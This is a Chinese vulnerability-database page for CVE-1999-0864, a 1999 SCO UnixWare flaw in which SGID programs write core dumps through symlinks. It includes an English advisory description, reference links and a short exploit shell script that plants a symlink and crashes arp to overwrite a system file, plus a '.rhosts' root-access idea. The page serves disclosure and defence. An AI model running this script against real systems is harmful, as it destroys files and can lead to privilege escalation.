SCO UnixWare 'coredump' 符号链接漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105633 漏洞类型 访问验证错误
发布时间 1999-12-03 更新时间 2005-05-02
CVE编号 CVE-1999-0864 CNNVD-ID CNNVD-199912-024
漏洞平台 SCO CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19659
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-024
|漏洞详情
UnixWare程序的核心转储存在漏洞。本地用户利用一个位于./core.pid文件上的符号链接攻击,可以修改文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/851/info


Under certain versions of SCO UnixWare if a user can force a program with SGID (Set Group ID) to dump core they may launch a symlink attack by guessing the PID (Process ID) of the SGID process which they are calling. This is required because the coredump file will be dumped to the directory in which it is being executed from as './core.pid'. The program dumping core does not check for the existence of a symlinked file and will happily overwrite any file which it has permission to do so to. Many SGID binaries under Unixware are in the group 'sgid-sys' a group which has write permission to a large number of system critical files.

This attack will most likely result in a denial of service attack, however if the attacker can provide some provide data to the core file she may be able to leverage root access. For example is the intruder were able to get '+ +' into a line of it's own in the core file the intruder could then overwrite root's .rhosts file. 

#!/bin/sh
####
# Exploit for UnixWare 7.1 - sgid coredumps follow symlinks.
# Guessing pid is trivial. Any sgid program which will coredump can be used
# -Brock Tellier, btellier@usa.net
####
pid=`expr $$ + 4`;
ln -s /path/to/sys/group/writable/file core.$pid
/usr/sbin/arp `perl -e "print 'A' x 10000"`
|参考资料

来源:BUGTRAQ
名称:19991202UnixWarecoredumpsfollowsymlinks
链接:http://www.securityfocus.com/templates/archive.pike?list=1&msg=19991203020720.13115.qmail@nwcst289.netaddress.usa.net
来源:BID
名称:851
链接:http://www.securityfocus.com/bid/851
来源:BUGTRAQ
名称:19991223FYI,SCOSecuritypatchesavailable.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94606167110764&w=2
来源:BUGTRAQ
名称:19991220SCOOpenServerSecurityStatus
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94581379905584&w=2
来源:BUGTRAQ
名称:19991215RecentpostingsaboutSCOUnixWare7
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94530783815434&w=2